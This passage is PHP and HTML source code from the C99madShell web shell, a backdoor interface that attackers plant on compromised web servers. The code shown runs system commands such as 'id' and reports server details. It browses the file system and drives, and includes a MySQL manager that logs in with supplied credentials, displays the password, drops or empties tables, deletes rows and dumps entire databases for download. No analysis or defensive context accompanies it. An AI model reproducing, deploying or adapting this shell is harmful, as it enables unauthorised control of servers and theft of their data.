#FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name=\'todo\' method=\'POST\'><input name=\'act\' type=\'hidden\' value=\'\'><input name=\'grep\' type=\'hidden\' value=\'\'><input name=\'fullhexdump\' type=\'hidden\' value=\'\'><input name=\'base64\' type=\'hidden\' value=\'\'><input name=\'nixpasswd\' type=\'hidden\' value=\'\'><input name=\'pid\' type=\'hidden\' value=\'\'><input name=\'c\' type=\'hidden\' value=\'\'><input name=\'white\' type=\'hidden\' value=\'\'><input name=\'sig\' type=\'hidden\' value=\'\'><input name=\'processes_sort\' type=\'hidden\' value=\'\'><input name=\'d\' type=\'hidden\' value=\'\'><input name=\'sort\' type=\'hidden\' value=\'\'><input name=\'f\' type=\'hidden\' value=\'\'><input name=\'ft\' type=\'hidden\' value=\'\'></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99madShell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software: <?php echo $DISP_SERVER_SOFTWARE; ?></b> </p><p align="left"><b>uname -a: <?php echo wordwrap(php_uname(),90,"<br>",1); ?></b> </p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b> </p><p align="left"><b>Safe-mode: <?php echo $hsafemode; ?></b></p><p align="left"><?php
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\","\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
$t = "";
$j = 0;
foreach ($e as $r)
{
$t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) {break;}
$j++;
}
echo "<a href=\"#\" onclick=\"document.todo.act.value=\'ls\';document.todo.d.value=\'".urlencode($t)."\';document.todo.sort.value=\'".$sort."\';document.todo.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
$i++;
}
echo " ";
if (is_writable($d))
{
$wd = TRUE;
$wdt = "<font color=green>[ ok ]</font>";
echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else
{
$wd = FALSE;
$wdt = "<font color=red>[ Read-Only ]</font>";
echo "<b>".view_perms_color($d)."</b>";
}
if (is_callable("disk_free_space"))
{
$free = disk_free_space($d);
$total = disk_total_space($d);
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2);
echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
$v = explode("\",$d);
$v = $v[0];
foreach (range("a","z") as $letter)
{
$bool = $isdiskette = in_array($letter,$safemode_diskettes);
if (!$bool) {$bool = is_dir($letter.":\");}
if ($bool)
{
$letters .= "<a href=\"#\" onclick=\"document.todo.act.value=\'ls\';document.todo.d.value=\'".urlencode($letter.":\")."\';document.todo.submit();\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<font color=green>".$letter."</font>";}
$letters .= " ]</a> ";
}
}
if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
foreach($quicklaunch as $item)
{
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a> ";
}
}
echo "</p></td></tr></table><br>";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
echo("<form name=\'sql\' method=\'POST\'><input name=\'act\' type=\'hidden\' value=\'sql\'><input name=\'sql_tbl_insert_q\' type=\'hidden\' value=\'\'><input name=\'sql_login\' type=\'hidden\' value=\'\'><input name=\'kill\' type=\'hidden\' value=\'\'><input name=\'sql_order\' type=\'hidden\' value=\'\'><input name=\'sql_tbl_ls\' type=\'hidden\' value=\'\'><input name=\'sql_tbl_le\' type=\'hidden\' value=\'\'><input name=\'sql_tbl_act\' type=\'hidden\' value=\'\'><input name=\'thistbl\' type=\'hidden\' value=\'\'><input name=\'sql_passwd\' type=\'hidden\' value=\'\'><input name=\'sql_server\' type=\'hidden\' value=\'\'><input name=\'sql_port\' type=\'hidden\' value=\'\'><input name=\'sql_db\' type=\'hidden\' value=\'\'><input name=\'sql_act\' type=\'hidden\' value=\'\'><input name=\'sql_tbl\' type=\'hidden\' value=\'\'><input name=\'f\' type=\'hidden\' value=\'\'><input name=\'ft\' type=\'hidden\' value=\'\'><input name=\'sql_query\' type=\'hidden\' value=\'\'></form>");
if (isset($_POST[\'sql_login\'])) {$sql_login=htmlspecialchars($_POST[\'sql_login\']);}
if (isset($_POST[\'sql_passwd\'])) {$sql_passwd=htmlspecialchars($_POST[\'sql_passwd\']);}
if (isset($_POST[\'sql_server\'])) {$sql_server=htmlspecialchars($_POST[\'sql_server\']);}
if (isset($_POST[\'sql_port\'])) {$sql_port=htmlspecialchars($_POST[\'sql_port\']);}
if (isset($_POST[\'sql_db\'])) {$sql_db=htmlspecialchars($_POST[\'sql_db\']);}
if (isset($_POST[\'sql_act\'])) {$sql_act=htmlspecialchars($_POST[\'sql_act\']);}
if (isset($_POST[\'sql_tbl\'])) {$sql_tbl=htmlspecialchars($_POST[\'sql_tbl\']);}
if (isset($_POST[\'sql_tbl_act\'])) {$sql_tbl_act=htmlspecialchars($_POST[\'sql_tbl_act\']);}
if (isset($_POST[\'thistbl\'])) {$thistbl=htmlspecialchars($_POST[\'thistbl\']);}
if (isset($_POST[\'sql_order\'])) {$sql_order=htmlspecialchars($_POST[\'sql_order\']);}
if (isset($_POST[\'sql_tbl_ls\'])) {$sql_tbl_ls=htmlspecialchars($_POST[\'sql_tbl_ls\']);}
if (isset($_POST[\'sql_tbl_le\'])) {$sql_tbl_le=htmlspecialchars($_POST[\'sql_tbl_le\']);}
if (isset($_POST[\'sql_query\'])) {$sql_query=htmlspecialchars($_POST[\'sql_query\']);}
if (isset($_POST[\'sql_tbl_insert_q\'])) {$sql_tbl_insert_q=urldecode(htmlspecialchars($_POST[\'sql_tbl_insert_q\']));}
if (isset($_POST[\'sql_tbl_insert_functs\'])) {$sql_tbl_insert_functs=htmlspecialchars($_POST[\'sql_tbl_insert_functs\']);}
if (isset($_POST[\'sql_tbl_insert_radio\'])) {$sql_tbl_insert_radio=htmlspecialchars($_POST[\'sql_tbl_insert_radio\']);}
?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
if ($sql_server)
{
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
}
else {$sql_sock = FALSE;}
echo "<b>SQL Manager:</b><br>";
if (!$sql_sock)
{
if (!$sql_server) {echo "NO CONNECTION";}
else {echo "<center><b>Can\'t connect</b></center>"; echo "<b>".$err."</b>";}
}
else
{
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index","#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.submit();");
$sqlquicklaunch[] = array("Query","#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_act.value=\'query\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_tbl.value=\'".urlencode($sql_tbl)."\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.submit();");
$sqlquicklaunch[] = array("Server-status","#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_act.value=\'serverstatus\';document.sql.submit();");
$sqlquicklaunch[] = array("Server variables","#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_act.value=\'servervars\';document.sql.submit();");
$sqlquicklaunch[] = array("Processes","#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_act.value=\'processes\';document.sql.submit();");
$sqlquicklaunch[] = array("Logout","#\" onclick=\"document.sql.act.value=\'sql\';document.sql.submit();");
echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
echo "</center>";
}
echo "</td></tr><tr>";
if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
else
{
//Start left panel
if (!empty($sql_db))
{
?><td width="25%" height="100%" valign="top"><a href="#" onclick="document.sql.act.value=\'sql\';document.sql.sql_login.value=\'<?echo (htmlspecialchars($sql_login)) ?>\';document.sql.sql_passwd.value=\'<?echo (htmlspecialchars($sql_passwd)) ?>\';document.sql.sql_server.value=\'<?echo (htmlspecialchars($sql_server)) ?>\';document.sql.sql_port.value=\'<?echo (htmlspecialchars($sql_port)) ?>\';document.sql.submit();"><b>Home</b></a><hr size="1" noshade><?php
$result = mysql_list_tables($sql_db);
if (!$result) {echo mysql_smarterror();}
else
{
echo "---[ <a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_db.value=\'".htmlspecialchars($sql_db)."\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.submit();\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b> <a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".htmlspecialchars($sql_db)."\';document.sql.sql_tbl.value=\'".htmlspecialchars($row[0])."\';document.sql.submit();\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
}
else
{
?><td width="1" height="100" valign="top"><a href="<?php echo $_SERVER[\'PHP_SELF\']; ?>"><b>Home</b></a><hr size="1" noshade><?php
$result = mysql_list_dbs($sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
?><form method="POST"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
echo "<option value=\"\">Databases (".$c.")</option>";
echo $dbs;
}
?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
}
//End left panel
echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
echo "</b></center>";
$acts = array("","dump");
if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."`
";} $sql_act = "query";}
elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
elseif ($sql_tbl_act == "insert")
{
if ($sql_tbl_insert_radio == 1)
{
$keys = "";
$akeys = array_keys($sql_tbl_insert);
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "\'".addslashes($v)."\'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
$sql_act = "query";
$sql_tbl_act = "browse";
}
elseif ($sql_tbl_insert_radio == 2)
{
$set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
$result = mysql_query($sql_query) or print(mysql_smarterror());
$result = mysql_fetch_array($result, MYSQL_ASSOC);
$sql_act = "query";
$sql_tbl_act = "browse";
}
}
if ($sql_act == "query")
{
$sql_query = urldecode($sql_query);
echo "<hr size=\"1\" noshade>";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
}
if (in_array($sql_act,$acts))
{
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form method="POST"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form method="POST"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
if ($sql_act == "newtbl")
{
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
}
else {echo "Can\'t create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
elseif ($sql_act == "dump")
{
if (empty($submit))
{
$diplay = FALSE;
echo "<form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
$v = join (";",$dmptbls);
echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
echo "</form>";
}
else
{
$diplay = TRUE;
$set = array();
$set["sock"] = $sql_sock;
$set["db"] = $sql_db;
$dump_out = "download";
$set["print"] = 0;
$set["nl2br"] = 0;
$set[""] = 0;
$set["file"] = $dump_file;
$set["add_drop"] = TRUE;
$set["onlytabs"] = array();
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download)
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
echo $ret;
exit;
}
elseif ($sql_dump_savetofile)
{
$fp = fopen($sql_dump_file,"w");
if (!$fp) {echo "<b>Dump error! Can\'t write to \"".htmlspecialchars($sql_dump_file)."\"!";}
else
{
fwrite($fp,$ret);
fclose($fp);
echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
}
}
else {echo "<b>Dump: nothing to do!</b>";}
}
}
if ($diplay)
{
if (!empty($sql_tbl))
{
if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2)
{
if ($e[0] == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterror());
echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
echo "<a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_tbl.value=\'".urlencode($sql_tbl)."\';document.sql.sql_tbl_act.value=\'structure\';document.sql.submit();\">[ <b>Structure</b> ]</a> ";
echo "<a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_tbl.value=\'".urlencode($sql_tbl)."\';document.sql.sql_tbl_act.value=\'browse\';document.sql.submit();\">[ <b>Browse</b> ]</a> ";
echo "<a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_tbl.value=\'".urlencode($sql_tbl)."\';document.sql.sql_act.value=\'tbldump\';document.sql.thistbl.value=\'1\';document.sql.submit();\">[ <b>Dump</b> ]</a> ";
echo "<a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_tbl.value=\'".urlencode($sql_tbl)."\';document.sql.sql_tbl_act.value=\'insert\';document.sql.thistbl.value=\'1\';document.sql.submit();\">[ <b>Insert</b> ]</a> ";
if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
if ($sql_tbl_act == "insert")
{
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio))
{
}
else
{
echo "<br><br><b>Inserting row into table:</b><br>";
if (!empty($sql_tbl_insert_q))
{
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_insert_q;
$sql_query .= " LIMIT 1;";
$sql_query = urldecode($sql_query);
$sql_tbl_insert_q = urldecode($sql_tbl_insert_q);
$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
